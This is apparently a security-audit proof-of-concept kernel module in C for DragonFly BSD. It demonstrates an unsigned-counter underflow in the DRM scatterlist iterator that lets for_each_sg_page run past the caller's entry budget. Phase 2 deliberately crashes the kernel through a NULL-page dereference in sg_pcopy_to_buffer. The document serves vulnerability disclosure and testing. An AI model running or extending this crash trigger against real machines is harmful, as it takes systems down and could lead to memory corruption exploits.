DF-5128 / sgoverrun.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | /* * sgoverrun.c - PoC for the for_each_sg_page / _sg_iter_next budget bug in * sys/dev/drm/include/linux/scatterlist.h (file under audit: * sys/dev/drm/linux_scatterlist.c). * * Bug: _sg_iter_next() decrements iter->maxents (unsigned) once per sg entry * advanced and breaks when it *becomes* 0 -- leaving iter->sg pointing at the * NEXT (out-of-budget) entry, which for_each_sg_page's `iter->sg' loop * condition happily executes the body on. On the following _sg_iter_next() * the 0-budget counter underflows to UINT_MAX and the entry budget is * permanently disarmed: iteration then runs to the physical SG_END of the * table (across chained chunks), no matter what `nents' the caller declared. * * Linux semantics (__sg_page_iter_next in lib/scatterlist.c, which DF even * carries as dead code in the same header) hard-stop at nents. * * Phase 1 (sysctl debug.sgoverrun=1): safe demonstration. Builds a table via * the real __sg_alloc_table() from drm.ko, walks it with for_each_sg_page * with a caller budget of 2 and prints every entry index the body sees. * Buggy DF: indices 0..N-1 + maxents underflow value. * Expected (Linux): indices 0..1. * * Phase 2 (sysctl debug.sgoverrun=2): impact demonstration. Same table * shape, but the entries beyond the caller's budget carry page=NULL * (simulating beyond-budget entries of a coalescing dma_map / a trimmed * table), then calls the REAL sg_pcopy_to_buffer() from * sys/dev/drm/linux_scatterlist.c with nents=2. With the bug the * consumer kmap()s the out-of-budget entry's page -> NULL->phys_addr -> * fatal kernel page fault while copying. With correct budget handling * the call returns 8192 and touches nothing beyond entry 1. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/malloc.h> #include <sys/module.h> #include <vm/vm.h> #include <vm/pmap.h> #include <vm/vm_page.h> #include <linux/scatterlist.h> /* the shim header already declares __sg_alloc_table, __sg_free_table and * sg_pcopy_to_buffer; the symbols resolve from the loaded drm.ko */ static struct vm_page *gov_page; static void *gov_kbuf; static int gov_setup(struct sg_table *st, unsigned int nents) { if (__sg_alloc_table(st, nents, SG_MAX_SINGLE_ALLOC, GFP_KERNEL)) return (ENOMEM); return (0); } static void run_phase1_chained(void) { struct sg_table st; struct sg_page_iter iter; struct scatterlist *sg; int i, visited = 0, maxidx = -1; unsigned int nents = 250, budget = 2; if (gov_setup(&st, nents)) { kprintf("SGOVER P1c: alloc failed\n"); return; } for_each_sg(st.sgl, sg, nents, i) sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0); kprintf("SGOVER P1c: chained table nents=%u orig_nents=%u " "budget=%u SG_MAX_SINGLE_ALLOC=%zu\n", st.nents, st.orig_nents, budget, (size_t)SG_MAX_SINGLE_ALLOC); for_each_sg_page(st.sgl, &iter, budget, 0) { if (visited < 3) kprintf("SGOVER P1c: body on entry %d\n", (int)(iter.sg - st.sgl)); maxidx = iter.sg - st.sgl; visited++; } kprintf("SGOVER P1c: visited=%d maxidx=%d final maxents=%u " "(Linux semantics: visited=%u)\n", visited, maxidx, iter.maxents, budget); __sg_free_table(&st, SG_MAX_SINGLE_ALLOC); } static void run_phase1(void) { struct sg_table st; struct sg_page_iter iter; struct scatterlist *sg; int i, visited = 0; unsigned int nents = 6, budget = 2; if (gov_setup(&st, nents)) { kprintf("SGOVER P1: alloc failed\n"); return; } for_each_sg(st.sgl, sg, nents, i) sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0); kprintf("SGOVER P1: flat table nents=%u orig_nents=%u budget=%u\n", st.nents, st.orig_nents, budget); for_each_sg_page(st.sgl, &iter, budget, 0) { kprintf("SGOVER P1: body on entry %d (maxents=%u)\n", (int)(iter.sg - st.sgl), iter.maxents); visited++; } kprintf("SGOVER P1: RESULT visited=%d budget=%u -> %s\n", visited, budget, visited > (int)budget ? "OVERRUN (bug present)" : "ok"); kprintf("SGOVER P1: final maxents=%u (0=clean, huge=underflow)\n", iter.maxents); __sg_free_table(&st, SG_MAX_SINGLE_ALLOC); run_phase1_chained(); } static void run_phase2(void) { struct sg_table st; struct scatterlist *sg; void *iobuf; size_t ret; int i; unsigned int nents = 6, budget = 2; iobuf = kmalloc(8192, M_DEVBUF, M_WAITOK | M_ZERO); if (gov_setup(&st, nents)) { kprintf("SGOVER P2: alloc failed\n"); return; } /* entries 0..budget-1: the caller's logical list - valid pages */ for_each_sg(st.sgl, sg, budget, i) sg_set_page(sg, (struct page *)gov_page, PAGE_SIZE, 0); /* * Entries budget..nents-1 live past the caller's declared list (as * left by a coalescing dma_map_sg() under Linux semantics). Give * them a length but leave page NULL: touching them is out-of-bounds * iteration; kmap(NULL) makes the touch fatal & undeniable. */ for (sg = &st.sgl[budget]; sg < &st.sgl[nents]; sg++) sg->length = PAGE_SIZE; kprintf("SGOVER P2: calling real sg_pcopy_to_buffer(sgl, nents=%u, " "buflen=8192) on %u-entry table; entries >=%u are " "out-of-budget (page=NULL)\n", budget, nents, budget); ret = sg_pcopy_to_buffer(st.sgl, budget, iobuf, 8192, 0); kprintf("SGOVER P2: returned %zu - no out-of-budget entry touched\n", ret); __sg_free_table(&st, SG_MAX_SINGLE_ALLOC); kfree(iobuf, M_DEVBUF); } static int sgoverrun_sysctl(SYSCTL_HANDLER_ARGS) { int error, val = 0; error = sysctl_handle_int(oidp, &val, 0, req); if (error || req->newptr == NULL) return (error); if (val == 1) run_phase1(); else if (val == 2) run_phase2(); return (0); } SYSCTL_PROC(_debug, OID_AUTO, sgoverrun, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sgoverrun_sysctl, "I", "1=overrun demo, 2=OOB-entry deref via real sg_pcopy_to_buffer"); static int sgoverrun_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: gov_kbuf = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO); gov_page = PHYS_TO_VM_PAGE(vtophys(gov_kbuf)); kprintf("SGOVER: loaded (kbuf=%p page=%p); use " "sysctl debug.sgoverrun=1|2\n", gov_kbuf, gov_page); return (0); case MOD_UNLOAD: kfree(gov_kbuf, M_DEVBUF); return (0); } return (0); } static moduledata_t sgoverrun_mod = { "sgoverrun", sgoverrun_load, NULL }; DECLARE_MODULE(sgoverrun, sgoverrun_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(sgoverrun, drm, 1, 1, 1); |